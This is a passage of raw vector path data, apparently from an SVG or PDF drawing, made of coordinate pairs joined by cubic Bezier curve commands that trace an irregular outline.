117282.00 89225.00C117292.67 89214.33 117303.33 89203.67 117314.00 89193.00C117314.00 89182.33 117314.00 89171.67 117314.00 89161.00C117303.33 89161.00 117292.67 89161.00 117282.00 89161.00C117282.00 89171.67 117282.00 89182.33 117282.00 89193.00C117271.33 89193.00 117260.67 89193.00 117250.00 89193.00C117271.33 89171.33 117292.67 89149.67 117314.00 89128.00C117335.33 89139.00 117356.67 89150.00 117378.00 89161.00C117388.67 89150.00 117399.33 89139.00 117410.00 89128.00C117399.33 89096.00 117388.67 89064.00 117378.00 89032.00C117388.79 89021.31 117399.41 89010.38 117410.31 88999.85C117431.88 88989.23 117453.44 88978.62 117475.00 88968.00C117485.67 88957.00 117496.33 88946.00 117507.00 88935.00C117496.33 88935.00 117485.67 88935.00 117475.00 88935.00C117496.33 88892.33 117517.67 88849.67 117539.00 88807.00C117560.33 88807.00 117581.67 88807.00 117603.00 88807.00C117603.00 88774.67 117603.00 88742.33 117603.00 88710.00C117614.00 88699.33 117625.00 88688.67 117636.00 88678.00C117625.00 88667.33 117614.00 88656.67 117603.00 88646.00C117635.33 88646.00 117667.67 88646.00 117700.00 88646.00C117700.00 88624.67 117700.00 88603.33 117700.00 88582.00C117721.33 88592.67 117742.67 88603.33 117764.00 88614.00C117774.67 88603.33 117785.33 88592.67 117796.00 88582.00C117785.33 88560.67 117774.67 88539.33 117764.00 88518.00C117774.67 88518.00 117785.33 88518.00 117796.00 88518.00C117817.67 88528.67 117839.33 88539.33 117861.00 88550.00C117861.00 88539.33 117861.00 88528.67 117861.00 88518.00C117850.00 88507.00 117839.00 88496.00 117828.00 88485.00C117828.00 88474.33 117828.00 88463.67 117828.00 88453.00C117839.13 88442.31 117850.09 88431.39 117861.31 88420.84C117903.88 88399.56 117946.44 88378.28 117989.00 88357.00C117989.00 88346.33 117989.00 88335.67 117989.00 88325.00C118032.00 88325.00 118075.00 88325.00 118118.00 88325.00C118128.67 88292.67 118139.33 88260.33 118150.00 88228.00C118182.00 88228.00 118214.00 88228.00 118246.00 88228.00C118257.00 88206.67 118268.00 88185.33 118279.00 88164.00C118311.00 88164.00 118343.00 88164.00 118375.00 88164.00C118353.67 88153.33 118332.33 88142.67 118311.00 88132.00C118321.67 88132.00 118332.33 88132.00 118343.00 88132.00C118364.33 88121.00 118385.67 88110.00 118407.00 88099.00C118428.67 88099.00 118450.33 88099.00 118472.00 88099.00C118472.00 88088.33 118472.00 88077.67 118472.00 88067.00C118450.33 88056.33 118428.67 88045.67 118407.00 88035.00C118407.00 88024.33 118407.00 88013.67 118407.00 88003.00C118417.67 88003.00 118428.33 88003.00 118439.00 88003.00C118439.00 88013.67 118439.00 88024.33 118439.00 88035.00C118450.00 88045.67 118461.00 88056.33 118472.00 88067.00C118482.67 88067.00 118493.33 88067.00 118504.00 88067.00C118514.67 88056.33 118525.33 88045.67 118536.00 88035.00C118536.00 88013.67 118536.00 87992.33 118536.00 87971.00C118578.67 87949.67 118621.33 87928.33 118664.00 87907.00C118642.67 87939.00 118621.33 87971.00 118600.00 88003.00C118600.00 88035.00 118600.00 88067.00 118600.00 88099.00C118589.33 88099.00 118578.67 88099.00 118568.00 88099.00C118568.00 88110.00 118568.00 88121.00 118568.00 88132.00C118546.67 88132.00 118525.33 88132.00 118504.00 88132.00C118504.00 88142.67 118504.00 88153.33 118504.00 88164.00C118493.21 88174.69 118482.59 88185.62 118471.69 88196.15C118450.12 88206.77 118428.56 88217.38 118407.00 88228.00C118396.33 88238.67 118385.67 88249.33 118375.00 88260.00C118375.00 88281.67 118375.00 88303.33 118375.00 88325.00C118364.33 88335.67 118353.67 88346.33 118343.00 88357.00C118332.33 88357.00 118321.67 88357.00 118311.00 88357.00C118311.00 88410.67 118311.00 88464.33 118311.00 88518.00C118289.33 88539.33 118267.67 88560.67 118246.00 88582.00C118257.00 88603.33 118268.00 88624.67 118279.00 88646.00C118300.33 88656.67 118321.67 88667.33 118343.00 88678.00C118343.00 88699.67 118343.00 88721.33 118343.00 88743.00C118353.67 88732.00 118364.33 88721.00 118375.00 88710.00C118375.00 88699.33 118375.00 88688.67 118375.00 88678.00C118393.30 88696.25 118411.60 88714.51 118429.48 88733.18C118432.65 88736.46 118435.83 88739.73 118439.00 88743.00C118417.67 88743.00 118396.33 88743.00 118375.00 88743.00C118375.00 88753.67 118375.00 88764.33 118375.00 88775.00C118343.00 88796.33 118311.00 88817.67 118279.00 88839.00C118268.00 88839.00 118257.00 88839.00 118246.00 88839.00C118246.00 88828.33 118246.00 88817.67 118246.00 88807.00C118235.33 88807.00 118224.67 88807.00 118214.00 88807.00C118203.33 88839.00 118192.67 88871.00 118182.00 88903.00C118192.67 88946.00 118203.33 88989.00 118214.00 89032.00C118203.33 89042.67 118192.67 89053.33 118182.00 89064.00C118171.33 89053.33 118160.67 89042.67 118150.00 89032.00C118139.33 89053.33 118128.67 89074.67 118118.00 89096.00C118118.00 89106.67 118118.00 89117.33 118118.00 89128.00C118107.33 89149.67 118096.67 89171.33 118086.00 89193.00C118086.00 89203.67 118086.00 89214.33 118086.00 89225.00C118075.00 89246.33 118064.00 89267.67 118053.00 89289.00C118064.00 89299.67 118075.00 89310.33 118086.00 89321.00C118075.00 89321.00 118064.00 89321.00 118053.00 89321.00C118042.33 89310.33 118031.67 89299.67 118021.00 89289.00C118021.00 89310.67 118021.00 89332.33 118021.00 89354.00C118010.33 89343.00 117999.67 89332.00 117989.00 89321.00C117978.33 89321.00 117967.67 89321.00 117957.00 89321.00C117957.00 89332.00 117957.00 89343.00 117957.00 89354.00C117957.00 89332.33 117957.00 89310.67 117957.00 89289.00C117946.33 89299.67 117935.67 89310.33 117925.00 89321.00C117935.67 89342.67 117946.33 89364.33 117957.00 89386.00C117957.00 89396.67 117957.00 89407.33 117957.00 89418.00C117946.33 89428.67 117935.67 89439.33 117925.00 89450.00C117946.33 89460.67 117967.67 89471.33 117989.00 89482.00C117989.00 89514.33 117989.00 89546.67 117989.00 89579.00C117967.67 89589.67 117946.33 89600.33 117925.00 89611.00C117935.67 89611.00 117946.33 89611.00 117957.00 89611.00C117946.33 89621.67 117935.67 89632.33 117925.00 89643.00C117935.67 89653.67 117946.33 89664.33 117957.00 89675.00C117935.67 89696.33 117914.33 89717.67 117893.00 89739.00C117903.67 89760.67 117914.33 89782.33 117925.00 89804.00C117914.31 89814.79 117903.38 89825.41 117892.84 89836.31C117882.23 89857.54 117871.61 89878.77 117861.00 89900.00C117871.67 89910.67 117882.33 89921.33 117893.00 89932.00C117893.00 89953.67 117893.00 89975.33 117893.00 89997.00C117903.67 89997.00 117914.33 89997.00 117925.00 89997.00C117925.00 90007.67 117925.00 90018.33 117925.00 90029.00C117935.67 90029.00 117946.33 90029.00 117957.00 90029.00C117957.00 90050.33 117957.00 90071.67 117957.00 90093.00C117967.67 90082.33 117978.33 90071.67 117989.00 90061.00C117989.00 90071.67 117989.00 90082.33 117989.00 90093.00C117999.67 90093.00 118010.33 90093.00 118021.00 90093.00C118031.67 90103.67 118042.33 90114.33 118053.00 90125.00C118053.00 90114.33 118053.00 90103.67 118053.00 90093.00C118074.67 90103.67 118096.33 90114.33 118118.00 90125.00C118107.33 90125.00 118096.67 90125.00 118086.00 90125.00C118107.33 90125.00 118128.67 90125.00 118150.00 90125.00C118150.00 90135.67 118150.00 90146.33 118150.00 90157.00C118171.33 90157.00 118192.67 90157.00 118214.00 90157.00C118214.00 90168.00 118214.00 90179.00 118214.00 90190.00C118224.67 90179.00 118235.33 90168.00 118246.00 90157.00C118246.00 90168.00 118246.00 90179.00 118246.00 90190.00C118257.00 90190.00 118268.00 90190.00 118279.00 90190.00C118279.00 90211.33 118279.00 90232.67 118279.00 90254.00C118300.33 90264.67 118321.67 90275.33 118343.00 90286.00C118343.00 90275.33 118343.00 90264.67 118343.00 90254.00C118353.67 90275.33 118364.33 90296.67 118375.00 90318.00C118385.67 90318.00 118396.33 90318.00 118407.00 90318.00C118407.00 90328.67 118407.00 90339.33 118407.00 90350.00C118428.67 90360.67 118450.33 90371.33 118472.00 90382.00C118472.00 90371.33 118472.00 90360.67 118472.00 90350.00C118482.67 90350.00 118493.33 90350.00 118504.00 90350.00C118514.67 90360.67 118525.33 90371.33 118536.00 90382.00C118557.33 90371.33 118578.67 90360.67 118600.00 90350.00C118610.67 90360.67 118621.33 90371.33 118632.00 90382.00C118675.00 90393.00 118718.00 90404.00 118761.00 90415.00C118782.33 90425.67 118803.67 90436.33 118825.00 90447.00C118835.67 90436.33 118846.33 90425.67 118857.00 90415.00C118900.00 90415.00 118943.00 90415.00 118986.00 90415.00C118996.67 90436.33 119007.33 90457.67 119018.00 90479.00C119050.33 90479.00 119082.67 90479.00 119115.00 90479.00C119125.67 90500.33 119136.33 90521.67 119147.00 90543.00C119157.77 90542.93 119168.59 90543.15 119179.33 90542.89C119211.22 90532.26 119243.11 90521.63 119275.00 90511.00C119296.67 90521.67 119318.33 90532.33 119340.00 90543.00C119361.33 90564.33 119382.67 90585.67 119404.00 90607.00C119414.67 90596.33 119425.33 90585.67 119436.00 90575.00C119479.00 90607.33 119522.00 90639.67 119565.00 90672.00C119586.33 90672.00 119607.67 90672.00 119629.00 90672.00C119661.00 90682.67 119693.00 90693.33 119725.00 90704.00C119736.00 90704.00 119747.00 90704.00 119758.00 90704.00C119768.79 90714.70 119779.43 90725.59 119790.30 90736.18C120262.28 91015.01 120734.23 91293.89 121206.22 91572.70C121456.93 91716.03 121707.58 91859.47 121958.33 92002.74C122082.22 92073.49 122206.11 92144.24 122330.00 92215.00C122373.00 92183.00 122416.00 92151.00 122459.00 92119.00C122459.00 92086.67 122459.00 92054.33 122459.00 92022.00C122448.00 91990.00 122437.00 91958.00 122426.00 91926.00C122437.00 91904.33 122448.00 91882.67 122459.00 91861.00C122448.00 91839.67 122437.00 91818.33 122426.00 91797.00C122437.00 91775.67 122448.00 91754.33 122459.00 91733.00C122437.33 91700.67 122415.67 91668.33 122394.00 91636.00C122410.19 91603.69 122426.15 91571.27 122442.89 91539.24C122448.26 91528.83 122453.63 91518.41 122459.00 91508.00C122459.00 91486.33 122459.00 91464.67 122459.00 91443.00C122437.33 91432.33 122415.67 91421.67 122394.00 91411.00C122394.00 91400.33 122394.00 91389.67 122394.00 91379.00C122426.33 91314.67 122458.67 91250.33 122491.00 91186.00C122512.39 91164.56 122533.88 91143.21 122555.21 91121.72C122587.19 91078.71 122619.25 91035.74 122651.18 90992.70C122683.45 90939.47 122715.73 90886.23 122748.00 90833.00C122758.67 90833.00 122769.33 90833.00 122780.00 90833.00C122780.00 90811.33 122780.00 90789.67 122780.00 90768.00C122769.33 90768.00 122758.67 90768.00 122748.00 90768.00C122748.00 90757.33 122748.00 90746.67 122748.00 90736.00C122769.33 90693.00 122790.67 90650.00 122812.00 90607.00C122822.67 90596.33 122833.33 90585.67 122844.00 90575.00C122855.00 90575.00 122866.00 90575.00 122877.00 90575.00C122877.00 90564.33 122877.00 90553.67 122877.00 90543.00C122887.67 90521.67 122898.33 90500.33 122909.00 90479.00C122909.00 90446.67 122909.00 90414.33 122909.00 90382.00C122930.33 90371.33 122951.67 90360.67 122973.00 90350.00C122973.00 90339.33 122973.00 90328.67 122973.00 90318.00C122994.33 90296.67 123015.67 90275.33 123037.00 90254.00C123047.67 90264.67 123058.33 90275.33 123069.00 90286.00C123080.13 90275.31 123091.09 90264.39 123102.31 90253.84C123123.54 90243.23 123144.77 90232.61 123166.00 90222.00C123166.00 90200.33 123166.00 90178.67 123166.00 90157.00C123176.78 90146.29 123187.44 90135.43 123198.29 90124.81C123230.60 90103.44 123263.02 90082.21 123295.25 90060.75C123316.50 90039.50 123337.75 90018.25 123359.00 89997.00C123369.67 89997.00 123380.33 89997.00 123391.00 89997.00C123401.67 89964.67 123412.33 89932.33 123423.00 89900.00C123455.33 89878.67 123487.67 89857.33 123520.00 89836.00C123541.33 89911.00 123562.67 89986.00 123584.00 90061.00C123594.67 90061.00 123605.33 90061.00 123616.00 90061.00C123637.33 90082.33 123658.67 90103.67 123680.00 90125.00C123712.33 90125.00 123744.67 90125.00 123777.00 90125.00C123766.33 90135.67 123755.67 90146.33 123745.00 90157.00C123745.00 90178.67 123745.00 90200.33 123745.00 90222.00C123723.33 90243.33 123701.67 90264.67 123680.00 90286.00C123690.67 90296.67 123701.33 90307.33 123712.00 90318.00C123701.33 90318.00 123690.67 90318.00 123680.00 90318.00C123680.00 90328.67 123680.00 90339.33 123680.00 90350.00C123690.67 90371.67 123701.33 90393.33 123712.00 90415.00C123755.00 90415.00 123798.00 90415.00 123841.00 90415.00C123841.00 90425.67 123841.00 90436.33 123841.00 90447.00C123851.67 90447.00 123862.33 90447.00 123873.00 90447.00C123894.67 90436.33 123916.33 90425.67 123938.00 90415.00C123948.67 90415.00 123959.33 90415.00 123970.00 90415.00C123991.33 90436.33 124012.67 90457.67 124034.00 90479.00C124044.67 90500.33 124055.33 90521.67 124066.00 90543.00C124098.33 90564.33 124130.67 90585.67 124163.00 90607.00C124173.67 90628.67 124184.33 90650.33 124195.00 90672.00C124345.00 90447.00 124495.00 90222.00 124645.00 89997.00C124655.67 89986.00 124666.33 89975.00 124677.00 89964.00C124687.67 89964.00 124698.33 89964.00 124709.00 89964.00C124698.33 89953.33 124687.67 89942.67 124677.00 89932.00C124687.67 89921.33 124698.33 89910.67 124709.00 89900.00C124719.67 89910.67 124730.33 89921.33 124741.00 89932.00C124762.67 89932.00 124784.33 89932.00 124806.00 89932.00C124806.00 89953.67 124806.00 89975.33 124806.00 89997.00C124816.67 90007.67 124827.33 90018.33 124838.00 90029.00C124827.33 90050.33 124816.67 90071.67 124806.00 90093.00C124816.67 90103.67 124827.33 90114.33 124838.00 90125.00C124848.67 90125.00 124859.33 90125.00 124870.00 90125.00C124870.00 90114.33 124870.00 90103.67 124870.00 90093.00C124880.67 90103.67 124891.33 90114.33 124902.00 90125.00C124912.67 90125.00 124923.33 90125.00 124934.00 90125.00C124934.00 90135.67 124934.00 90146.33 124934.00 90157.00C124944.67 90168.00 124955.33 90179.00 124966.00 90190.00C124966.00 90200.67 124966.00 90211.33 124966.00 90222.00C124977.00 90222.00 124988.00 90222.00 124999.00 90222.00C125009.67 90232.67 125020.33 90243.33 125031.00 90254.00C125041.67 90254.00 125052.33 90254.00 125063.00 90254.00C125063.00 90275.33 125063.00 90296.67 125063.00 90318.00C125073.67 90318.00 125084.33 90318.00 125095.00 90318.00C125095.00 90307.33 125095.00 90296.67 125095.00 90286.00C125128.13 90318.86 125161.40 90351.58 125194.44 90384.52C125204.30 90394.68 125214.15 90404.84 125224.00 90415.00C125234.67 90415.00 125245.33 90415.00 125256.00 90415.00C125266.67 90436.33 125277.33 90457.67 125288.00 90479.00C125298.67 90479.00 125309.33 90479.00 125320.00 90479.00C125330.67 90500.33 125341.33 90521.67 125352.00 90543.00C125341.33 90564.33 125330.67 90585.67 125320.00 90607.00C125330.67 90628.67 125341.33 90650.33 125352.00 90672.00C125352.00 90725.67 125352.00 90779.33 125352.00 90833.00C125362.67 90833.00 125373.33 90833.00 125384.00 90833.00C125395.00 90854.33 125406.00 90875.67 125417.00 90897.00C125427.67 90886.33 125438.33 90875.67 125449.00 90865.00C125459.67 90875.67 125470.33 90886.33 125481.00 90897.00C125481.00 90886.33 125481.00 90875.67 125481.00 90865.00C125502.33 90865.00 125523.67 90865.00 125545.00 90865.00C125545.00 90875.67 125545.00 90886.33 125545.00 90897.00C125555.67 90897.00 125566.33 90897.00 125577.00 90897.00C125577.00 90875.67 125577.00 90854.33 125577.00 90833.00C125588.00 90833.00 125599.00 90833.00 125610.00 90833.00C125620.67 90854.33 125631.33 90875.67 125642.00 90897.00C125652.67 90886.33 125663.33 90875.67 125674.00 90865.00C125684.67 90875.67 125695.33 90886.33 125706.00 90897.00C125706.00 90907.67 125706.00 90918.33 125706.00 90929.00C125738.00 90929.00 125770.00 90929.00 125802.00 90929.00C125802.00 90961.00 125802.00 90993.00 125802.00 91025.00C125813.00 91057.33 125824.00 91089.67 125835.00 91122.00C125856.33 91122.00 125877.67 91122.00 125899.00 91122.00C125909.67 91132.67 125920.33 91143.33 125931.00 91154.00C125941.67 91154.00 125952.33 91154.00 125963.00 91154.00C125963.00 91186.33 125963.00 91218.67 125963.00 91251.00C125973.67 91251.00 125984.33 91251.00 125995.00 91251.00C125995.00 91261.67 125995.00 91272.33 125995.00 91283.00C126006.00 91304.33 126017.00 91325.67 126028.00 91347.00C126017.00 91357.67 126006.00 91368.33 125995.00 91379.00C126016.67 91379.00 126038.33 91379.00 126060.00 91379.00C126070.67 91411.33 126081.33 91443.67 126092.00 91476.00C126081.33 91486.67 126070.67 91497.33 126060.00 91508.00C126060.00 91529.33 126060.00 91550.67 126060.00 91572.00C126049.33 91572.00 126038.67 91572.00 126028.00 91572.00C126028.00 91582.67 126028.00 91593.33 126028.00 91604.00C126017.00 91604.00 126006.00 91604.00 125995.00 91604.00C126006.00 91614.67 126017.00 91625.33 126028.00 91636.00C126028.00 91657.67 126028.00 91679.33 126028.00 91701.00C126049.33 91711.67 126070.67 91722.33 126092.00 91733.00C126081.33 91743.67 126070.67 91754.33 126060.00 91765.00C126070.67 91775.67 126081.33 91786.33 126092.00 91797.00C126081.33 91797.00 126070.67 91797.00 126060.00 91797.00C126060.00 91850.67 126060.00 91904.33 126060.00 91958.00C126038.33 91979.33 126016.67 92000.67 125995.00 92022.00C125984.33 92022.00 125973.67 92022.00 125963.00 92022.00C125973.67 92043.67 125984.33 92065.33 125995.00 92087.00C126006.00 92097.67 126017.00 92108.33 126028.00 92119.00C126027.92 92129.77 126028.15 92140.59 126027.89 92151.33C126016.86 92183.32 126005.94 92215.35 125994.84 92247.32C125984.23 92268.88 125973.61 92290.44 125963.00 92312.00C125995.33 92344.00 126027.67 92376.00 126060.00 92408.00C126081.33 92408.00 126102.67 92408.00 126124.00 92408.00C126145.33 92386.67 126166.67 92365.33 126188.00 92344.00C126188.00 92311.67 126188.00 92279.33 126188.00 92247.00C126177.33 92236.33 126166.67 92225.67 126156.00 92215.00C126166.67 92183.00 126177.33 92151.00 126188.00 92119.00C126188.00 92086.67 126188.00 92054.33 126188.00 92022.00C126198.67 92011.33 126209.33 92000.67 126220.00 91990.00C126209.33 91979.33 126198.67 91968.67 126188.00 91958.00C126188.00 91925.67 126188.00 91893.33 126188.00 91861.00C126228.16 91841.29 126268.28 91821.47 126308.25 91801.37C126311.17 91799.92 126314.08 91798.46 126317.00 91797.00C126317.00 91786.33 126317.00 91775.67 126317.00 91765.00C126327.67 91743.67 126338.33 91722.33 126349.00 91701.00C126349.00 91658.00 126349.00 91615.00 126349.00 91572.00C126370.33 91550.67 126391.67 91529.33 126413.00 91508.00C126434.67 91518.67 126456.33 91529.33 126478.00 91540.00C126488.67 91550.67 126499.33 91561.33 126510.00 91572.00C126520.67 91572.00 126531.33 91572.00 126542.00 91572.00C126542.00 91550.67 126542.00 91529.33 126542.00 91508.00C126552.67 91518.67 126563.33 91529.33 126574.00 91540.00C126574.07 91550.77 126573.85 91561.59 126574.11 91572.33C126584.74 91604.56 126595.37 91636.78 126606.00 91669.00C126595.33 91669.00 126584.67 91669.00 126574.00 91669.00C126574.00 91711.67 126574.00 91754.33 126574.00 91797.00C126563.33 91807.67 126552.67 91818.33 126542.00 91829.00C126552.67 91839.67 126563.33 91850.33 126574.00 91861.00C126574.00 91914.67 126574.00 91968.33 126574.00 92022.00C126584.67 92022.00 126595.33 92022.00 126606.00 92022.00C126606.00 92032.67 126606.00 92043.33 126606.00 92054.00C126627.67 92065.00 126649.33 92076.00 126671.00 92087.00C126660.00 92087.00 126649.00 92087.00 126638.00 92087.00C126638.00 92097.67 126638.00 92108.33 126638.00 92119.00C126649.00 92129.67 126660.00 92140.33 126671.00 92151.00C126660.00 92151.00 126649.00 92151.00 126638.00 92151.00C126638.00 92183.00 126638.00 92215.00 126638.00 92247.00C126659.67 92247.00 126681.33 92247.00 126703.00 92247.00C126713.67 92268.67 126724.33 92290.33 126735.00 92312.00C126745.67 92301.00 126756.33 92290.00 126767.00 92279.00C126767.00 92257.67 126767.00 92236.33 126767.00 92215.00C126777.67 92204.33 126788.33 92193.67 126799.00 92183.00C126809.67 92193.67 126820.33 92204.33 126831.00 92215.00C126852.67 92204.33 126874.33 92193.67 126896.00 92183.00C126917.33 92183.00 126938.67 92183.00 126960.00 92183.00C126970.67 92172.33 126981.33 92161.67 126992.00 92151.00C126992.00 92161.67 126992.00 92172.33 126992.00 92183.00C127002.67 92161.67 127013.33 92140.33 127024.00 92119.00C127034.67 92119.00 127045.33 92119.00 127056.00 92119.00C127056.00 92108.33 127056.00 92097.67 127056.00 92087.00C127067.00 92087.00 127078.00 92087.00 127089.00 92087.00C127099.67 92076.00 127110.33 92065.00 127121.00 92054.00C127131.67 92054.00 127142.33 92054.00 127153.00 92054.00C127163.67 92065.00 127174.33 92076.00 127185.00 92087.00C127195.67 92087.00 127206.33 92087.00 127217.00 92087.00C127206.33 92076.00 127195.67 92065.00 127185.00 92054.00C127195.67 92043.33 127206.33 92032.67 127217.00 92022.00C127206.33 92011.33 127195.67 92000.67 127185.00 91990.00C127228.00 91990.00 127271.00 91990.00 127314.00 91990.00C127314.00 92000.67 127314.00 92011.33 127314.00 92022.00C127335.33 92022.00 127356.67 92022.00 127378.00 92022.00C127378.00 92011.33 127378.00 92000.67 127378.00 91990.00C127367.33 91990.00 127356.67 91990.00 127346.00 91990.00C127356.67 91990.00 127367.33 91990.00 127378.00 91990.00C127367.33 91990.00 127356.67 91990.00 127346.00 91990.00C127378.00 91979.33 127410.00 91968.67 127442.00 91958.00C127442.00 91925.67 127442.00 91893.33 127442.00 91861.00C127463.67 91861.00 127485.33 91861.00 127507.00 91861.00C127507.00 91850.33 127507.00 91839.67 127507.00 91829.00C127507.00 91850.67 127507.00 91872.33 127507.00 91894.00C127517.67 91883.00 127528.33 91872.00 127539.00 91861.00C127549.67 91861.00 127560.33 91861.00 127571.00 91861.00C127571.00 91850.33 127571.00 91839.67 127571.00 91829.00C127592.33 91829.00 127613.67 91829.00 127635.00 91829.00C127645.67 91818.33 127656.33 91807.67 127667.00 91797.00C127667.00 91786.33 127667.00 91775.67 127667.00 91765.00C127678.00 91765.00 127689.00 91765.00 127700.00 91765.00C127710.67 91743.67 127721.33 91722.33 127732.00 91701.00C127742.67 91711.67 127753.33 91722.33 127764.00 91733.00C127774.67 91722.33 127785.33 91711.67 127796.00 91701.00C127806.67 91711.67 127817.33 91722.33 127828.00 91733.00C127849.33 91722.33 127870.67 91711.67 127892.00 91701.00C127892.00 91690.33 127892.00 91679.67 127892.00 91669.00C127903.00 91658.00 127914.00 91647.00 127925.00 91636.00C127935.67 91636.00 127946.33 91636.00 127957.00 91636.00C127967.67 91625.33 127978.33 91614.67 127989.00 91604.00C128010.33 91614.67 128031.67 91625.33 128053.00 91636.00C128063.67 91636.00 128074.33 91636.00 128085.00 91636.00C128095.67 91625.33 128106.33 91614.67 128117.00 91604.00C128117.00 91614.67 128117.00 91625.33 128117.00 91636.00C128106.33 91647.00 128095.67 91658.00 128085.00 91669.00C128085.00 91690.33 128085.00 91711.67 128085.00 91733.00C128074.33 91743.67 128063.67 91754.33 128053.00 91765.00C128053.00 91808.00 128053.00 91851.00 128053.00 91894.00C128063.67 91915.33 128074.33 91936.67 128085.00 91958.00C128063.67 91979.33 128042.33 92000.67 128021.00 92022.00C128021.00 92032.67 128021.00 92043.33 128021.00 92054.00C128031.67 92065.00 128042.33 92076.00 128053.00 92087.00C128063.67 92087.00 128074.33 92087.00 128085.00 92087.00C128085.00 92140.33 128085.00 92193.67 128085.00 92247.00C128063.67 92279.33 128042.33 92311.67 128021.00 92344.00C128021.00 92354.67 128021.00 92365.33 128021.00 92376.00C128031.67 92365.33 128042.33 92354.67 128053.00 92344.00C128063.67 92354.67 128074.33 92365.33 128085.00 92376.00C128085.00 92365.33 128085.00 92354.67 128085.00 92344.00C128095.67 92354.67 128106.33 92365.33 128117.00 92376.00C128128.00 92365.33 128139.00 92354.67 128150.00 92344.00C128182.00 92333.33 128214.00 92322.67 128246.00 92312.00C128246.00 92301.00 128246.00 92290.00 128246.00 92279.00C128256.67 92290.00 128267.33 92301.00 128278.00 92312.00C128288.67 92301.00 128299.33 92290.00 128310.00 92279.00C128321.00 92290.00 128332.00 92301.00 128343.00 92312.00C128353.67 92301.00 128364.33 92290.00 128375.00 92279.00C128396.33 92279.00 128417.67 92279.00 128439.00 92279.00C128439.00 92247.00 128439.00 92215.00 128439.00 92183.00C128449.67 92183.00 128460.33 92183.00 128471.00 92183.00C128460.33 92140.00 128449.67 92097.00 128439.00 92054.00C128449.67 92043.33 128460.33 92032.67 128471.00 92022.00C128471.00 92032.67 128471.00 92043.33 128471.00 92054.00C128492.67 92043.33 128514.33 92032.67 128536.00 92022.00C128536.00 92032.67 128536.00 92043.33 128536.00 92054.00C128546.67 92043.33 128557.33 92032.67 128568.00 92022.00C128568.00 92054.33 128568.00 92086.67 128568.00 92119.00C128600.00 92119.00 128632.00 92119.00 128664.00 92119.00C128674.67 92129.67 128685.33 92140.33 128696.00 92151.00C128685.33 92161.67 128674.67 92172.33 128664.00 92183.00C128664.00 92193.67 128664.00 92204.33 128664.00 92215.00C128674.67 92204.33 128685.33 92193.67 128696.00 92183.00C128706.67 92204.33 128717.33 92225.67 128728.00 92247.00C128760.33 92236.33 128792.67 92225.67 128825.00 92215.00C128846.33 92215.00 128867.67 92215.00 128889.00 92215.00C128899.67 92247.33 128910.33 92279.67 128921.00 92312.00C128931.67 92322.67 128942.33 92333.33 128953.00 92344.00C128953.00 92354.67 128953.00 92365.33 128953.00 92376.00C128964.00 92386.67 128975.00 92397.33 128986.00 92408.00C128996.67 92397.33 129007.33 92386.67 129018.00 92376.00C129039.33 92376.00 129060.67 92376.00 129082.00 92376.00C129092.67 92343.67 129103.33 92311.33 129114.00 92279.00C129124.67 92290.00 129135.33 92301.00 129146.00 92312.00C129167.67 92312.00 129189.33 92312.00 129211.00 92312.00C129211.00 92322.67 129211.00 92333.33 129211.00 92344.00C129211.00 92333.33 129211.00 92322.67 129211.00 92312.00C129221.67 92312.00 129232.33 92312.00 129243.00 92312.00C129253.67 92322.67 129264.33 92333.33 129275.00 92344.00C129275.00 92365.33 129275.00 92386.67 129275.00 92408.00C129285.67 92408.00 129296.33 92408.00 129307.00 92408.00C129317.67 92397.33 129328.33 92386.67 129339.00 92376.00C129339.00 92386.67 129339.00 92397.33 129339.00 92408.00C129350.00 92418.67 129361.00 92429.33 129372.00 92440.00C129393.33 92440.00 129414.67 92440.00 129436.00 92440.00C129446.67 92429.33 129457.33 92418.67 129468.00 92408.00C129500.00 92418.67 129532.00 92429.33 129564.00 92440.00C129596.33 92429.33 129628.67 92418.67 129661.00 92408.00C129693.00 92429.33 129725.00 92450.67 129757.00 92472.00C129757.00 92483.00 129757.00 92494.00 129757.00 92505.00C129950.00 92719.33 130143.00 92933.67 130336.00 93148.00C130346.73 93115.57 130357.34 93083.09 130368.16 93050.69C130378.77 93029.46 130389.39 93008.23 130400.00 92987.00C130411.02 92976.21 130422.30 92965.60 130433.16 92954.68C130443.77 92933.12 130454.39 92911.56 130465.00 92890.00C130475.69 92879.21 130486.62 92868.59 130497.16 92857.69C130507.77 92836.46 130518.39 92815.23 130529.00 92794.00C130539.67 92794.00 130550.33 92794.00 130561.00 92794.00C130571.67 92783.33 130582.33 92772.67 130593.00 92762.00C130593.00 92729.67 130593.00 92697.33 130593.00 92665.00C130571.67 92665.00 130550.33 92665.00 130529.00 92665.00C130507.67 92643.67 130486.33 92622.33 130465.00 92601.00C130465.00 92579.67 130465.00 92558.33 130465.00 92537.00C130454.33 92504.67 130443.67 92472.33 130433.00 92440.00C130443.67 92429.33 130454.33 92418.67 130465.00 92408.00C130454.33 92386.67 130443.67 92365.33 130433.00 92344.00C130433.00 92301.00 130433.00 92258.00 130433.00 92215.00C130443.67 92215.00 130454.33 92215.00 130465.00 92215.00C130486.33 92193.67 130507.67 92172.33 130529.00 92151.00C130518.33 92129.67 130507.67 92108.33 130497.00 92087.00C130497.00 92076.00 130497.00 92065.00 130497.00 92054.00C130475.67 92043.33 130454.33 92032.67 130433.00 92022.00C130443.67 92011.33 130454.33 92000.67 130465.00 91990.00C130465.00 91979.33 130465.00 91968.67 130465.00 91958.00C130443.33 91947.33 130421.67 91936.67 130400.00 91926.00C130400.00 91915.33 130400.00 91904.67 130400.00 91894.00C130411.00 91894.00 130422.00 91894.00 130433.00 91894.00C130422.00 91883.00 130411.00 91872.00 130400.00 91861.00C130411.00 91850.33 130422.00 91839.67 130433.00 91829.00C130422.00 91829.00 130411.00 91829.00 130400.00 91829.00C130411.02 91818.21 130422.29 91807.60 130433.16 91796.69C130443.77 91775.46 130454.39 91754.23 130465.00 91733.00C130432.67 91722.33 130400.33 91711.67 130368.00 91701.00C130389.67 91690.33 130411.33 91679.67 130433.00 91669.00C130443.67 91658.00 130454.33 91647.00 130465.00 91636.00C130465.00 91625.33 130465.00 91614.67 130465.00 91604.00C130475.67 91604.00 130486.33 91604.00 130497.00 91604.00C130497.00 91582.67 130497.00 91561.33 130497.00 91540.00C130486.33 91529.33 130475.67 91518.67 130465.00 91508.00C130475.67 91508.00 130486.33 91508.00 130497.00 91508.00C130497.00 91497.33 130497.00 91486.67 130497.00 91476.00C130507.69 91464.88 130518.61 91453.91 130529.16 91442.69C130539.77 91421.46 130550.39 91400.23 130561.00 91379.00C130571.67 91389.67 130582.33 91400.33 130593.00 91411.00C130603.67 91400.33 130614.33 91389.67 130625.00 91379.00C130668.00 91400.33 130711.00 91421.67 130754.00 91443.00C130786.33 91443.00 130818.67 91443.00 130851.00 91443.00C130861.67 91454.00 130872.33 91465.00 